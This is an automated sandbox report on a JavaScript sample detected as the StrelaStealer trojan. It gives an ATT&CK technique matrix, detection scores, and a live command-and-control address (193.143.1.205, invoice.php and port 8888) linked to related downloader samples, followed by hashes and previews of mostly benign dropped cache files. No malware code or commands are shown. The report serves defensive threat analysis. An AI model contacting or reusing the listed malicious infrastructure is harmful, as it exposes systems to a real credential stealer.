Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
17266187282427315527.js	5%	Virustotal		Browse
17266187282427315527.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false	high
http://crl.ver)	svchost.exe, 00000009.00000002.3338325703.000001C76000F000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.8.dr	false	high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2108110510.000001C75FF00000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false	high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2109742851.00000223C8DBC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2109668745.00000223C8D88000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2110195390.00000223C8DE2000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588336
Start date and time:	2025-01-11 00:08:50 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	17266187282427315527.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 50.16.47.176, 54.224.241.105, 34.237.241.83, 18.213.11.84, 162.159.61.3, 172.64.41.3, 2.23.242.162, 199.232.210.172, 23.209.209.135, 2.16.168.107, 2.16.168.105, 20.12.23.50, 13.107.246.45, 23.217.172.185
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
18:09:43	API Interceptor	22x Sleep call for process: powershell.exe modified
18:09:46	API Interceptor	1x Sleep call for process: net.exe modified
18:09:47	API Interceptor	2x Sleep call for process: svchost.exe modified
18:09:59	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	5197307041739714413.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1238420799116328606.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	21905169581426428153.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	340651472865228929.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	21092429235262508.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	27458284801797225280.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1957514819973625739.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32600206981428831400.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	240815025266174071.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17231147702223410654.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	5197307041739714413.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1238420799116328606.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	21905169581426428153.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	340651472865228929.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	21092429235262508.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	27458284801797225280.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	32600206981428831400.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	240815025266174071.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	17231147702223410654.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2640024673100216355.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	5197307041739714413.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1238420799116328606.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1573099322476027960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	21905169581426428153.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11804174121566513871.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	340651472865228929.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	21092429235262508.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27458284801797225280.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1957514819973625739.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32600206981428831400.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307194085070666
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugp:gJjJGtpTq2yv1AuNZRY3diu8iBVqFP
MD5:	BC2ED083CE6BEA535AA8F2B47D3EF517
SHA1:	25C508F76809C0F23FDAFFE7EBA1AEBCAF88D350
SHA-256:	DB6CA66EE5BA2CA45D859769A342B902C49C25809C29DD506492EE1D923582FF
SHA-512:	414F4A196B040D714F18DE77DF7087FB777FC654D0DF14796A20A7FA744EBF5AE1449452ED5FBAFB3B0D61DED35CE7B98BFA487B9A3E9AEDC6C1C475AAFF1A27
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xf6efd4c8, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585549176508156
Encrypted:	false
SSDEEP:	1536:pSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:paza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	6531F9C844ED44390415BC18546608ED
SHA1:	92A6C183CE1C89ADD034420B6413463ED46F8295
SHA-256:	4271E366F2D085299CCB45B9EDC45B611F65C58D32243D34EED7A6A43FD9DA39
SHA-512:	680DA9005CFAE851BEEC6140C0F4C9F70573E4E8519A9DCF40BA84EECAE2830F2EE9CD6C1961103D370FE3F6251C973F26D1CF094ACDBD8150E73605F30A172F
Malicious:	false
Preview:	....... ...............X\...;...{......................0.z..........{..0....}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..................................[.6.0....}.................^..z0....}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07988712473028572
Encrypted:	false
SSDEEP:	3:Il/yYeiTvru1GkGuAJkhvekl1HXolYllrekGltll/SPj:Il6zKyrxlBXoeJe3l
MD5:	FBD2D38D2ADAD3F986E502F87299C4FA
SHA1:	88425ABEFC535325A4BF34435401DBFA672CF1E5
SHA-256:	E0C6CD642A76A532E3C1F28C4E74EEB152EEDD6C304C4FE920C05BB5B37DA0EA
SHA-512:	7725E2317822972380197BF7F4DA90C92DD8627AFC427A994E9DEBCCBFCC1E8587ED0A826F801ADAE3ABADB110737625C9DCA97C311191A704274DB41728B41A
Malicious:	false
Preview:	.........................................;...{..0....}.......{...............{.......{...XL......{..................^..z0....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.233537592810257
Encrypted:	false
SSDEEP:	6:iO4Rnjyq2P92nKuAl9OmbnIFUtSdcG1Zmws89RkwO92nKuAl9OmbjLJ:7oOv4HAahFUtBG1/75LHAaSJ
MD5:	97A126ACCBD6C6065190AE42A2DA2341
SHA1:	5D836FD655B2F1D357A500337F20CC46AD8AA8BF
SHA-256:	0A727D20D83047FB831B2A1131E481FB725021B664BAB947CCCFFC85A37B9147
SHA-512:	594F9BEA1FE62AFB8CCFB9118F1534D18291FDDB629A38C3064A1D9CAACF6852BCBC242B046E6E030149280C3714F91722B097D2B23AB971A962B3164634684D
Malicious:	false
Preview:	2025/01/10-18:09:47.662 990 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-18:09:47.666 990 Recovering log #3.2025/01/10-18:09:47.667 990 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.233537592810257
Encrypted:	false
SSDEEP:	6:iO4Rnjyq2P92nKuAl9OmbnIFUtSdcG1Zmws89RkwO92nKuAl9OmbjLJ:7oOv4HAahFUtBG1/75LHAaSJ
MD5:	97A126ACCBD6C6065190AE42A2DA2341
SHA1:	5D836FD655B2F1D357A500337F20CC46AD8AA8BF
SHA-256:	0A727D20D83047FB831B2A1131E481FB725021B664BAB947CCCFFC85A37B9147
SHA-512:	594F9BEA1FE62AFB8CCFB9118F1534D18291FDDB629A38C3064A1D9CAACF6852BCBC242B046E6E030149280C3714F91722B097D2B23AB971A962B3164634684D
Malicious:	false
Preview:	2025/01/10-18:09:47.662 990 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-18:09:47.666 990 Recovering log #3.2025/01/10-18:09:47.667 990 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.198466566726328
Encrypted:	false
SSDEEP:	6:iO4m+q2P92nKuAl9Ombzo2jMGIFUtS4ZmwsqVkwO92nKuAl9Ombzo2jMmLJ:76v4HAa8uFUtL/h5LHAa8RJ
MD5:	67084614A2E053EE1855DC7A21949F42
SHA1:	9E2BB15DDD396CBA3CADD72ED6B6E6DE2E3CB283
SHA-256:	C44EDEE371449C0DF449690A07B2FA54411EBE783D5C48E5FB283DC64BDE5521
SHA-512:	3206ADA03B572820192313D51AAF3E8194EDFF691F616F03FEDCD5F1026C8AF649FCACECA997259525BA6DBD99A57A267E0EC19666909A19D5AFBAF21D89436B
Malicious:	false
Preview:	2025/01/10-18:09:47.755 7c8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-18:09:47.757 7c8 Recovering log #3.2025/01/10-18:09:47.759 7c8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.198466566726328
Encrypted:	false
SSDEEP:	6:iO4m+q2P92nKuAl9Ombzo2jMGIFUtS4ZmwsqVkwO92nKuAl9Ombzo2jMmLJ:76v4HAa8uFUtL/h5LHAa8RJ
MD5:	67084614A2E053EE1855DC7A21949F42
SHA1:	9E2BB15DDD396CBA3CADD72ED6B6E6DE2E3CB283
SHA-256:	C44EDEE371449C0DF449690A07B2FA54411EBE783D5C48E5FB283DC64BDE5521
SHA-512:	3206ADA03B572820192313D51AAF3E8194EDFF691F616F03FEDCD5F1026C8AF649FCACECA997259525BA6DBD99A57A267E0EC19666909A19D5AFBAF21D89436B
Malicious:	false
Preview:	2025/01/10-18:09:47.755 7c8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-18:09:47.757 7c8 Recovering log #3.2025/01/10-18:09:47.759 7c8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\01dbd4e1-4b8c-442a-b78f-e53e415e534c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.053811213607686
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqMxsBdOg2H8Rcaq3QYiubxnP7E4T3OF+:Y2sRdsFidMH8o3QYhbxP7nbI+
MD5:	88ACE757CBB7B180A4E7CA5196256026
SHA1:	ADE96D7C6943A8F1362C20DD685C8BC9AEDD0CBE
SHA-256:	12F2B4451F6FA315882B02B9F24D2F2DE4236465AB6E2B8EE878D031E8E39E47
SHA-512:	9A87D89CFD7CEBEB1079385DD009500946219D21ADBE379B49EC6977F2A5FDF2AAD751706BA94C9A64004D27FE5F33C377C8ED2442FF57712769262CFF94E232
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381110599551008","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":135702},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.053811213607686
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqMxsBdOg2H8Rcaq3QYiubxnP7E4T3OF+:Y2sRdsFidMH8o3QYhbxP7nbI+
MD5:	88ACE757CBB7B180A4E7CA5196256026
SHA1:	ADE96D7C6943A8F1362C20DD685C8BC9AEDD0CBE
SHA-256:	12F2B4451F6FA315882B02B9F24D2F2DE4236465AB6E2B8EE878D031E8E39E47
SHA-512:	9A87D89CFD7CEBEB1079385DD009500946219D21ADBE379B49EC6977F2A5FDF2AAD751706BA94C9A64004D27FE5F33C377C8ED2442FF57712769262CFF94E232
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381110599551008","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":135702},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.234796198987476
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUESPSV:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNL5
MD5:	F09312A75DABF9B19F6B0DEBD5949069
SHA1:	8CB001EEB5F6C12220C291458096DC3D7B60A958
SHA-256:	7853DD5EC12CE11F41D5766F2764CB7BFDB65993B02CA0C75761B93CFDC95804
SHA-512:	05931AE577201076E07E0DDAB14FC1197652A1DBF9A5F79B60080F99F062A4A31C0BF6098FCB9E5C2CB6157A9FE6775A9BFCC7968D75383D7A0ED8DF6814ADBF
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.19191733642792
Encrypted:	false
SSDEEP:	6:iO4g+q2P92nKuAl9OmbzNMxIFUtShcG5ZmwsQ9VkwO92nKuAl9OmbzNMFLJ:7Ev4HAa8jFUtop/p5LHAa84J
MD5:	2CEE64B2620CCAFC4D1B7FFDC9248A08
SHA1:	6AF714EAF579004B958CFAF56BA2F6E152D138F8
SHA-256:	DF834ABB5312CD7D0EA67D99081DFAEB8FAC0682FEEB9C2AC0F2D0126A849D2D
SHA-512:	70EA95726474004DD8CFE8CB381A8C324911239839CEB1A73ED62A296FD0983A27034EE8FD387788B6C6B99F5C55C7A2F307CE0EE5137AAF2D005C0A687BF0EB
Malicious:	false
Preview:	2025/01/10-18:09:48.170 7c8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-18:09:48.186 7c8 Recovering log #3.2025/01/10-18:09:48.208 7c8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.19191733642792
Encrypted:	false
SSDEEP:	6:iO4g+q2P92nKuAl9OmbzNMxIFUtShcG5ZmwsQ9VkwO92nKuAl9OmbzNMFLJ:7Ev4HAa8jFUtop/p5LHAa84J
MD5:	2CEE64B2620CCAFC4D1B7FFDC9248A08
SHA1:	6AF714EAF579004B958CFAF56BA2F6E152D138F8
SHA-256:	DF834ABB5312CD7D0EA67D99081DFAEB8FAC0682FEEB9C2AC0F2D0126A849D2D
SHA-512:	70EA95726474004DD8CFE8CB381A8C324911239839CEB1A73ED62A296FD0983A27034EE8FD387788B6C6B99F5C55C7A2F307CE0EE5137AAF2D005C0A687BF0EB
Malicious:	false
Preview:	2025/01/10-18:09:48.170 7c8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-18:09:48.186 7c8 Recovering log #3.2025/01/10-18:09:48.208 7c8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

